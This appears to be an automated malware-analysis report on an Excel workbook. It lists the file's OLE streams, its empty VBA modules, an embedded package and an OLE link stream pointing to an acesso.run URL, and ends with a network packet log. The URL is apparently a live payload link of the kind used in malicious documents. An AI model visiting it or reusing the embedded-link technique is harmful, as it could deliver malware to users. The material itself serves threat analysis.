Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 64 fd 46 a7 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . d Y . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 64 fd db 59 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . d . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 64 fd e8 16 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . d S . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 64 fd 53 04 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.3020681057018666
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . . . * . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD00F25730/\x1CompObj, File Type: data, Stream Size: 99

General
Stream Path:	MBD00F25730/\x1CompObj
CLSID:
File Type:	data
Stream Size:	99
Entropy:	3.631242196770981
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD00F25730/Package, File Type: Microsoft Excel 2007+, Stream Size: 872414

General
Stream Path:	MBD00F25730/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	872414
Entropy:	7.996790689733034
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . h K x . . . Z . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 68 4b a5 78 f0 01 00 00 5a 09 00 00 13 00 d7 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 d3 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD00F25731/\x1Ole, File Type: data, Stream Size: 688

General
Stream Path:	MBD00F25731/\x1Ole
CLSID:
File Type:	data
Stream Size:	688
Entropy:	4.670091760637894
Base64 Encoded:	False
Data ASCII:	. . . . ? > ~ . < I . . . . . . . . . . . . . . . . y . . . K . . . . h . t . t . p . s . : . / . / . a . c . e . s . s . o . . . r . u . n . / . w . M . y . Y . A . g . ? . & . m . o . r . s . e . l . = . b . e . w . i . l . d . e . r . e . d . & . b . i . f . o . c . a . l . s . = . o . a . f . i . s . h . & . e . g . g . . . . r h F . . . N j . . Y : . 3 u . A / ` B * . 1 . . 1 5 . . . : g j ( . C * \\ ] . . . . . . . . . . . . . . . . . . . 5 . j . M . M . Z . f . Y . 4 . J . h . A . 9 . 2 . 7 . e . K .
Data Raw:	01 00 00 02 3f 3e 82 7e 15 3c 49 1c 00 00 00 00 00 00 00 00 00 00 00 00 c4 00 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b c0 00 00 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 61 00 63 00 65 00 73 00 73 00 6f 00 2e 00 72 00 75 00 6e 00 2f 00 77 00 4d 00 79 00 59 00 41 00 67 00 3f 00 26 00 6d 00 6f 00 72 00 73 00 65 00 6c 00 3d 00 62 00 65 00 77 00 69 00 6c 00 64 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 331656

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	331656
Entropy:	7.998658969723312
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . i ` d C . . . 7 ' . f + ~ R b . F c B . T . . I . . . . . . . . . . . . . . \\ . p . [ ? . . t . ( k \| M R . # ; 6 . k 2 2 . k T b 6 q ; d . ] * x w P * J B E ] . ^ . . $ n . . N B O . . ~ . Q . . B . . . + a . . . / . . . = . . . ~ . . . . + . . ~ ; N . . x m . . . . . . . . E . . . . . J . . . . . . . . . . . . . \| = . . . d S t . R l ^ 5 ^ @ . . . . . . . 6 " . . . N . . . . , . . . . [ . . . f 1 . . . D Y + < Q D t . 6 . . I 9 K H \\ O 1 . . . V L .
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 69 a0 60 82 e2 ac 64 43 02 93 b5 8f d9 90 f4 1d 37 a8 27 01 a4 9b 66 9e 2b 7e 52 62 d8 0e c5 46 63 42 f8 d2 94 ab a0 54 dc 11 c2 7f e6 49 a0 84 87 00 00 00 e1 00 02 00 b0 04 c1 00 02 00 da 9e e2 00 00 00 5c 00 70 00 5b 3f d0 09 17 9b a8 d7 d2 ce 74 d5 02 a7 aa 28 6b f5 7c 4d 81 a7 52 d9 95 23

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 523

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	523
Entropy:	5.246201480176822
Base64 Encoded:	True
Data ASCII:	I D = " { E F B E 6 8 3 4 - B 8 D E - 4 6 B E - 9 E 2 A - 3 4 C 8 E 2 E 8 1 D 6 B } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " A 2 A 0 9 9 E 8 C 8 E C C 8 E C C
Data Raw:	49 44 3d 22 7b 45 46 42 45 36 38 33 34 2d 42 38 44 45 2d 34 36 42 45 2d 39 45 32 41 2d 33 34 43 38 45 32 45 38 31 44 36 42 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2644
Entropy:	3.98613630820396
Base64 Encoded:	False
Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	553
Entropy:	6.350090050872894
Base64 Encoded:	True
Data ASCII:	. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . c J 3 i . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 .
Data Raw:	01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 63 4a 33 69 08 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 20:37:51.671077967 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:51.671127081 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:51.671536922 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:51.671536922 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:51.671569109 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:52.418669939 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:52.418796062 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:52.420418978 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:52.420429945 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:52.420646906 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:52.428935051 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:52.475325108 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:52.673069000 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:52.673151016 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:52.673196077 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:52.673247099 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:52.673285961 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:52.673320055 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:52.673338890 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:52.790606976 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:52.790632010 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:52.790690899 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:52.790724993 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:52.790774107 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:52.908252001 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:52.908334970 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:52.908371925 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:52.908394098 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:52.908407927 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:52.908437014 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.172254086 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.172293901 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.172358036 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.172482014 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.172482014 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.172503948 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.172677994 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.172786951 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.172833920 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.172861099 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.172868013 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.172892094 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.172911882 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.261185884 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.261253119 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.261327982 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.261346102 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.261379957 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.261409044 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.381165028 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.381232977 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.381392956 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.381431103 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.381455898 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.381490946 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.498972893 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.499032974 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.499114037 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.499135971 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.499159098 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.499211073 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.500427008 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.500473022 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.500530958 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.500544071 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.500587940 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.500587940 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.617499113 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.617527008 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.617671013 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.617698908 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.618144035 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.734400034 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.734440088 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.734621048 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.734642029 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.734730005 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.852041960 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.852119923 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.852246046 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.852267027 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.852353096 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.852353096 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.942065954 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.942095041 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.942312956 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.942342043 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.942416906 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.969343901 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.969439030 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.969501019 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.969580889 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.969707966 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.969738007 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:53.969820023 CET	49753	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:53.969827890 CET	443	49753	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.012901068 CET	49754	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.012955904 CET	443	49754	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.013078928 CET	49754	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.014931917 CET	49756	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.014986038 CET	49755	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.014998913 CET	443	49756	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.015026093 CET	443	49755	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.015069008 CET	49756	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.015096903 CET	49755	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.016175985 CET	49757	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.016284943 CET	443	49757	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.016352892 CET	49757	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.016752958 CET	49758	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.016765118 CET	443	49758	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.016813993 CET	49758	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.016969919 CET	49758	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.016984940 CET	443	49758	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.017054081 CET	49757	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:37:54.017107010 CET	443	49757	13.107.246.45	192.168.2.4
Oct 29, 2024 20:37:54.017123938 CET	49754	443	192.168.2.4	13.107.246.45
